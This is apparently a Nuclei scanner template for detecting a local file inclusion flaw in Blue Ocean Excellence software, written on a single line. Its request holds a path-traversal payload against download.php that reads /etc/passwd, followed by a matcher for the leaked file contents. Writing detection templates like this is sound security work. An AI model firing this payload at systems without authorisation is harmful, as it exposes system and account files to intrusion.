id: blue-ocean-excellence-lfi info: name: Blue Ocean Excellence LFI author: pikpikcu severity: high reference: - https://blog.csdn.net/qq_41901122/article/details/116786883 tags: blue-ocean,lfi requests: - method: GET path: - "{{BaseURL}}/download.php?file=../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "toor:[x*]:0:0" - type: status status: - 200